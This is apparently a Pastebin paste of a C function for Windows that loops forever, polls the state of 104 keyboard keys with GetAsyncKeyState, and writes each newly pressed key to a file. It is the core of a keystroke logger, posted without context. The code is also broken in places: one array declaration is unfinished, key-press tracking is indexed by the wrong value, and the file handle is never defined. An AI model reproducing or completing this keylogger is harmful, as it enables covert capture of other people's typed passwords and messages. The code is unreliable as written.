Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- DWORD DCALL MainExecThread(void *pVoid)
- {
- //Standard 104-key keyboard
- int keys[104] = {
- VK_ESCAPE, VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6, VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12, VK_SNAPSHOT, VK_SCROLL, VK_PAUSE,
- VK_OEM_3, KEY_1, KEY_2, KEY_3, KEY_4, KEY_5, KEY_6, KEY_7, KEY_8, KEY_9, KEY_0, VK_OEM_MINUS, VK_OEM_PLUS, VK_BACK, VK_INSERT, VK_HOME, VK_PRIOR, VK_NUMLOCK, VK_DIVIDE, VK_MULTIPLY, VK_SUBTRACT,
- VK_TAB, KEY_Q, KEY_W, KEY_E, KEY_R, KEY_T, KEY_Y, KEY_U, KEY_I, KEY_O, KEY_P, VK_OEM_4, VK_OEM_6, VK_OEM_5, VK_DELETE, VK_END, VK_NEXT, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9, VK_ADD,
- VK_CAPITAL, KEY_A, KEY_S, KEY_D, KEY_F, KEY_G, KEY_H, KEY_J, KEY_K, KEY_L, VK_OEM_1, VK_OEM_7, VK_RETURN, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, /*VK_ADD*/
- VK_LSHIFT, KEY_Z, KEY_X, KEY_C, KEY_V, KEY_B, KEY_N, KEY_M, VK_OEM_COMMA, VK_OEM_PERIOD, VK_OEM_2, VK_RSHIFT, VK_UP, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_RETURN,
- VK_LCONTROL, VK_LWIN, VK_LMENU, VK_SPACE, VK_RMENU, VK_RWIN, VK_APPS, VK_RCONTROL, VK_LEFT, VK_DOWN, VK_RIGHT, VK_NUMPAD0, VK_DECIMAL, /*VK_RETURN*/
- };
- int index = NULL; int key = NULL; BOOL ret = FALSE; DWORD bytesWritten;
- BOOL *wasDown[] =
- while (1)
- {
- for (index=0; index<104; index++)
- {
- key = GetAsyncKeyState(keys[index]);
- if (key && wasDown[key] == FALSE) {
- ret = WriteFile(hFile, (LPVOID)&keys[index], sizeof(int), &bytesWritten, 0);
- wasDown[key] = TRUE;
- } else { wasDown[key] = FALSE; }
- }
- }
- return 0;
- }
Add Comment
Please, Sign In to add comment